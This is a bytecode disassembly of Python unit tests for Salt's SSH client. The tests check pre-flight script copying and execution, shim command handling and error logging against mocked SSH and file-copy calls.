LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST ('mods', 'fsclient', 'thin', 'mine') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_CONST ('', '', 0) STORE_FAST cmd_ret LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_flight LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.run_ssh_pre_flight' LOAD_FAST mock_flight CALL_FUNCTION STORE_FAST patch_flight LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_FAST mock_cmd CALL_FUNCTION STORE_FAST patch_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.cmd_block' LOAD_FAST mock_cmd CALL_FUNCTION STORE_FAST patch_cmd_block LOAD_GLOBAL patch LOAD_CONST 'os.path.exists' LOAD_CONST True LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST patch_os LOAD_FAST patch_os SETUP_WITH to 226 POP_TOP LOAD_FAST patch_flight SETUP_WITH to 216 POP_TOP LOAD_FAST patch_cmd SETUP_WITH to 206 POP_TOP LOAD_FAST patch_cmd_block SETUP_WITH to 196 POP_TOP LOAD_FAST single LOAD_METHOD run CALL_METHOD STORE_FAST ret LOAD_FAST mock_cmd LOAD_METHOD assert_called CALL_METHOD POP_TOP LOAD_FAST mock_flight LOAD_METHOD assert_not_called CALL_METHOD POP_TOP LOAD_FAST ret LOAD_FAST cmd_ret COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'script.sh' BINARY_TRUE_DIVIDE CALL_FUNCTION LOAD_FAST target LOAD_CONST 'ssh_pre_flight' STORE_SUBSCR LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST ('mods', 'fsclient', 'thin', 'mine') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_CONST ('Success', '', 0) STORE_FAST cmd_ret LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_flight LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.run_ssh_pre_flight' LOAD_FAST mock_flight CALL_FUNCTION STORE_FAST patch_flight LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.cmd_block' LOAD_FAST mock_cmd CALL_FUNCTION STORE_FAST patch_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_CONST ('', '', 1) LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST patch_exec_cmd LOAD_GLOBAL patch LOAD_CONST 'os.path.exists' LOAD_CONST True BUILD_LIST LOAD_CONST ('side_effect',) CALL_FUNCTION STORE_FAST patch_os LOAD_FAST patch_os SETUP_WITH to 230 POP_TOP LOAD_FAST patch_flight SETUP_WITH to 220 POP_TOP LOAD_FAST patch_cmd SETUP_WITH to 210 POP_TOP LOAD_FAST patch_exec_cmd SETUP_WITH to 200 POP_TOP LOAD_FAST single LOAD_METHOD run CALL_METHOD STORE_FAST ret LOAD_FAST mock_cmd LOAD_METHOD assert_called CALL_METHOD POP_TOP LOAD_FAST mock_flight LOAD_METHOD assert_called CALL_METHOD POP_TOP LOAD_FAST ret LOAD_FAST cmd_ret COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST False LOAD_CONST ('mods', 'fsclient', 'thin', 'mine', 'winrm') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_CONST ('Success', '', 0) STORE_FAST exp_ret LOAD_GLOBAL MagicMock LOAD_FAST exp_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_FAST mock_cmd CALL_FUNCTION STORE_FAST patch_cmd LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'script.sh' BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST script LOAD_FAST patch_cmd SETUP_WITH to 174 POP_TOP LOAD_FAST single LOAD_ATTR execute_script LOAD_FAST script LOAD_CONST ('script',) CALL_FUNCTION STORE_FAST ret LOAD_FAST ret LOAD_FAST exp_ret COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST mock_cmd LOAD_ATTR call_count LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL call LOAD_CONST "/bin/sh '{}'" LOAD_METHOD format LOAD_FAST script CALL_METHOD CALL_FUNCTION LOAD_GLOBAL call LOAD_CONST "rm '{}'" LOAD_METHOD format LOAD_FAST script CALL_METHOD CALL_FUNCTION BUILD_LIST LOAD_FAST mock_cmd LOAD_ATTR call_args_list COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST False LOAD_CONST True LOAD_CONST ('mods', 'fsclient', 'thin', 'mine', 'winrm', 'tty') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_CONST ('Success', '', 0) STORE_FAST exp_ret LOAD_GLOBAL MagicMock LOAD_FAST exp_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_FAST mock_cmd CALL_FUNCTION STORE_FAST patch_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.send' LOAD_CONST ('', '', 0) LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST patch_send LOAD_GLOBAL patch LOAD_CONST 'os.urandom' LOAD_CONST b'5\xd9l\xca\xc2\xff' LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST patch_rand LOAD_FAST tmp_path LOAD_CONST 'tmp_file' BINARY_TRUE_DIVIDE STORE_FAST tmp_file LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST mock_tmp LOAD_GLOBAL patch LOAD_CONST 'tempfile.NamedTemporaryFile' LOAD_FAST mock_tmp CALL_FUNCTION STORE_FAST patch_tmp LOAD_FAST tmp_file LOAD_FAST mock_tmp LOAD_ATTR return_value LOAD_ATTR __enter__ LOAD_ATTR return_value STORE_ATTR name LOAD_FAST patch_cmd SETUP_WITH to 250 POP_TOP LOAD_FAST patch_tmp SETUP_WITH to 240 POP_TOP LOAD_FAST patch_send SETUP_WITH to 230 POP_TOP LOAD_FAST single LOAD_ATTR shim_cmd LOAD_CONST 'echo test' LOAD_CONST ('cmd_str',) CALL_FUNCTION STORE_FAST ret LOAD_FAST ret LOAD_FAST exp_ret COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL call LOAD_CONST "/bin/sh '." LOAD_FAST tmp_file LOAD_ATTR name FORMAT_VALUE LOAD_CONST "'" BUILD_STRING CALL_FUNCTION LOAD_GLOBAL call LOAD_CONST "rm '." LOAD_FAST tmp_file LOAD_ATTR name FORMAT_VALUE LOAD_CONST "'" BUILD_STRING CALL_FUNCTION BUILD_LIST LOAD_FAST mock_cmd LOAD_ATTR call_args_list COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST False LOAD_CONST True LOAD_CONST ('mods', 'fsclient', 'thin', 'mine', 'winrm', 'tty') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_CONST ('Success', '', 0) STORE_FAST ret_cmd LOAD_GLOBAL MagicMock LOAD_FAST ret_cmd LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_FAST mock_cmd CALL_FUNCTION STORE_FAST patch_cmd LOAD_CONST ('', 'General error in file copy', 1) STORE_FAST ret_send LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.send' LOAD_FAST ret_send LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST patch_send LOAD_GLOBAL patch LOAD_CONST 'os.urandom' LOAD_CONST b'5\xd9l\xca\xc2\xff' LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST patch_rand LOAD_FAST patch_cmd SETUP_WITH to 194 POP_TOP LOAD_FAST patch_rand SETUP_WITH to 184 POP_TOP LOAD_FAST patch_send SETUP_WITH to 174 POP_TOP LOAD_FAST single LOAD_ATTR shim_cmd LOAD_CONST 'echo test' LOAD_CONST ('cmd_str',) CALL_FUNCTION STORE_FAST ret LOAD_FAST ret LOAD_FAST ret_send COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'Could not copy the shim script to target' LOAD_FAST caplog LOAD_ATTR text COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST mock_cmd LOAD_METHOD assert_not_called CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST tmp_path LOAD_CONST 'script.sh' BINARY_TRUE_DIVIDE STORE_FAST pre_flight LOAD_FAST pre_flight LOAD_METHOD write_text LOAD_CONST '' CALL_METHOD POP_TOP LOAD_GLOBAL str LOAD_FAST pre_flight CALL_FUNCTION LOAD_FAST target LOAD_CONST 'ssh_pre_flight' STORE_SUBSCR LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST False LOAD_CONST True LOAD_CONST ('mods', 'fsclient', 'thin', 'mine', 'winrm', 'tty') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_GLOBAL MagicMock LOAD_CONST ('', '', 1) LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_exec_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_FAST mock_exec_cmd CALL_FUNCTION STORE_FAST patch_exec_cmd LOAD_FAST tmp_path LOAD_CONST 'tmp_file' BINARY_TRUE_DIVIDE STORE_FAST tmp_file LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST mock_tmp LOAD_GLOBAL patch LOAD_CONST 'tempfile.NamedTemporaryFile' LOAD_FAST mock_tmp CALL_FUNCTION STORE_FAST patch_tmp LOAD_FAST tmp_file LOAD_FAST mock_tmp LOAD_ATTR return_value LOAD_ATTR __enter__ LOAD_ATTR return_value STORE_ATTR name LOAD_CONST ('', 'ssh: connect to host 192.168.1.186 port 22: No route to host\nscp: Connection closed\n', 255) STORE_FAST ret_send LOAD_GLOBAL MagicMock LOAD_FAST ret_send LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST send_mock LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.send' LOAD_FAST send_mock CALL_FUNCTION STORE_FAST patch_send LOAD_FAST caplog LOAD_METHOD at_level LOAD_GLOBAL logging LOAD_ATTR TRACE CALL_METHOD SETUP_WITH to 238 POP_TOP LOAD_FAST patch_send SETUP_WITH to 228 POP_TOP LOAD_FAST patch_exec_cmd SETUP_WITH to 218 POP_TOP LOAD_FAST patch_tmp SETUP_WITH to 208 POP_TOP LOAD_FAST single LOAD_METHOD run_ssh_pre_flight CALL_METHOD STORE_FAST ret POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST caplog LOAD_ATTR handler LOAD_METHOD flush CALL_METHOD POP_TOP LOAD_CONST 'Copying the pre flight script' LOAD_FAST caplog LOAD_ATTR text COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'Could not copy the pre flight script to target' LOAD_FAST caplog LOAD_ATTR text COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ret LOAD_FAST ret_send COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST send_mock LOAD_ATTR call_args_list LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST tmp_file COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST send_mock LOAD_ATTR call_args_list LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR STORE_FAST target_script LOAD_GLOBAL re LOAD_METHOD search LOAD_CONST '.[a-z0-9]+' LOAD_FAST target_script CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST mock_exec_cmd LOAD_METHOD assert_not_called CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST tmp_path LOAD_CONST 'script.sh' BINARY_TRUE_DIVIDE STORE_FAST pre_flight LOAD_FAST pre_flight LOAD_METHOD write_text LOAD_CONST '' CALL_METHOD POP_TOP LOAD_GLOBAL str LOAD_FAST pre_flight CALL_FUNCTION LOAD_FAST target LOAD_CONST 'ssh_pre_flight' STORE_SUBSCR LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST False LOAD_CONST True LOAD_CONST ('mods', 'fsclient', 'thin', 'mine', 'winrm', 'tty') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_GLOBAL MagicMock LOAD_CONST ('', '', 1) LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_exec_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_FAST mock_exec_cmd CALL_FUNCTION STORE_FAST patch_exec_cmd LOAD_FAST tmp_path LOAD_CONST 'tmp_file' BINARY_TRUE_DIVIDE STORE_FAST tmp_file LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST mock_tmp LOAD_GLOBAL patch LOAD_CONST 'tempfile.NamedTemporaryFile' LOAD_FAST mock_tmp CALL_FUNCTION STORE_FAST patch_tmp LOAD_FAST tmp_file LOAD_FAST mock_tmp LOAD_ATTR return_value LOAD_ATTR __enter__ LOAD_ATTR return_value STORE_ATTR name LOAD_CONST ('', 'scp: dest open "/tmp/preflight.sh": Permission denied\nscp: failed to upload file /etc/salt/preflight.sh to /tmp/preflight.sh\n', 255) STORE_FAST ret_send LOAD_GLOBAL MagicMock LOAD_FAST ret_send LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST send_mock LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.send' LOAD_FAST send_mock CALL_FUNCTION STORE_FAST patch_send LOAD_FAST patch_send SETUP_WITH to 214 POP_TOP LOAD_FAST patch_exec_cmd SETUP_WITH to 204 POP_TOP LOAD_FAST patch_tmp SETUP_WITH to 194 POP_TOP LOAD_FAST single LOAD_METHOD run_ssh_pre_flight CALL_METHOD STORE_FAST ret POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST ret LOAD_FAST ret_send COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST send_mock LOAD_ATTR call_args_list LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST tmp_file COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST send_mock LOAD_ATTR call_args_list LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR STORE_FAST target_script LOAD_GLOBAL re LOAD_METHOD search LOAD_CONST '.[a-z0-9]+' LOAD_FAST target_script CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST mock_exec_cmd LOAD_METHOD assert_not_called CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST tmp_path LOAD_CONST 'script.sh' BINARY_TRUE_DIVIDE STORE_FAST pre_flight LOAD_FAST pre_flight LOAD_METHOD write_text LOAD_CONST '' CALL_METHOD POP_TOP LOAD_GLOBAL str LOAD_FAST pre_flight CALL_FUNCTION LOAD_FAST target LOAD_CONST 'ssh_pre_flight' STORE_SUBSCR LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST False LOAD_CONST True LOAD_CONST ('mods', 'fsclient', 'thin', 'mine', 'winrm', 'tty') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_CONST ('', '', 1) STORE_FAST ret_exec_cmd LOAD_GLOBAL MagicMock LOAD_FAST ret_exec_cmd LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_exec_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_FAST mock_exec_cmd CALL_FUNCTION STORE_FAST patch_exec_cmd LOAD_FAST tmp_path LOAD_CONST 'tmp_file' BINARY_TRUE_DIVIDE STORE_FAST tmp_file LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST mock_tmp LOAD_GLOBAL patch LOAD_CONST 'tempfile.NamedTemporaryFile' LOAD_FAST mock_tmp CALL_FUNCTION STORE_FAST patch_tmp LOAD_FAST tmp_file LOAD_FAST mock_tmp LOAD_ATTR return_value LOAD_ATTR __enter__ LOAD_ATTR return_value STORE_ATTR name LOAD_CONST ('', "\[email protected]'s password: \n\rpreflight.sh 0% 0 0.0KB/s --:-- ETA\rpreflight.sh 100% 20 2.7KB/s 00:00 \n", 0) STORE_FAST ret_send LOAD_GLOBAL MagicMock LOAD_FAST ret_send LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST send_mock LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.send' LOAD_FAST send_mock CALL_FUNCTION STORE_FAST patch_send LOAD_FAST caplog LOAD_METHOD at_level LOAD_GLOBAL logging LOAD_ATTR TRACE CALL_METHOD SETUP_WITH to 242 POP_TOP LOAD_FAST patch_send SETUP_WITH to 232 POP_TOP LOAD_FAST patch_exec_cmd SETUP_WITH to 222 POP_TOP LOAD_FAST patch_tmp SETUP_WITH to 212 POP_TOP LOAD_FAST single LOAD_METHOD run_ssh_pre_flight CALL_METHOD STORE_FAST ret POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST caplog LOAD_ATTR handler LOAD_METHOD flush CALL_METHOD POP_TOP LOAD_CONST 'Executing the pre flight script on target' LOAD_FAST caplog LOAD_ATTR text COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ret LOAD_FAST ret_exec_cmd COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST send_mock LOAD_ATTR call_args_list LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST tmp_file COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST send_mock LOAD_ATTR call_args_list LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR STORE_FAST target_script LOAD_GLOBAL re LOAD_METHOD search LOAD_CONST '.[a-z0-9]+' LOAD_FAST target_script CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST mock_exec_cmd LOAD_METHOD assert_called CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST tmp_path LOAD_CONST 'script.sh' BINARY_TRUE_DIVIDE STORE_FAST pre_flight LOAD_FAST pre_flight LOAD_METHOD write_text LOAD_CONST '' CALL_METHOD POP_TOP LOAD_GLOBAL str LOAD_FAST pre_flight CALL_FUNCTION LOAD_FAST target LOAD_CONST 'ssh_pre_flight' STORE_SUBSCR LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST False LOAD_CONST True LOAD_CONST ('mods', 'fsclient', 'thin', 'mine', 'winrm', 'tty') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_CONST ('', '', 1) STORE_FAST ret_exec_cmd LOAD_GLOBAL MagicMock LOAD_FAST ret_exec_cmd LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_exec_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_FAST mock_exec_cmd CALL_FUNCTION STORE_FAST patch_exec_cmd LOAD_FAST tmp_path LOAD_CONST 'tmp_file' BINARY_TRUE_DIVIDE STORE_FAST tmp_file LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST mock_tmp LOAD_GLOBAL patch LOAD_CONST 'tempfile.NamedTemporaryFile' LOAD_FAST mock_tmp CALL_FUNCTION STORE_FAST patch_tmp LOAD_FAST tmp_file LOAD_FAST mock_tmp LOAD_ATTR return_value LOAD_ATTR __enter__ LOAD_ATTR return_value STORE_ATTR name LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST send_mock LOAD_GLOBAL MagicMock LOAD_GLOBAL IOError LOAD_CONST 'Permission Denied' CALL_FUNCTION LOAD_CONST ('side_effect',) CALL_FUNCTION STORE_FAST mock_shutil LOAD_GLOBAL patch LOAD_CONST 'shutil.copyfile' LOAD_FAST mock_shutil CALL_FUNCTION STORE_FAST patch_shutil LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.send' LOAD_FAST send_mock CALL_FUNCTION STORE_FAST patch_send LOAD_FAST patch_send SETUP_WITH to 250 POP_TOP LOAD_FAST patch_exec_cmd SETUP_WITH to 240 POP_TOP LOAD_FAST patch_tmp SETUP_WITH to 230 POP_TOP LOAD_FAST patch_shutil SETUP_WITH to 220 POP_TOP LOAD_FAST single LOAD_METHOD run_ssh_pre_flight CALL_METHOD STORE_FAST ret POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST ret LOAD_CONST ('', 'Could not copy pre flight script to temporary path', 1) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST mock_exec_cmd LOAD_METHOD assert_not_called CALL_METHOD POP_TOP LOAD_FAST send_mock 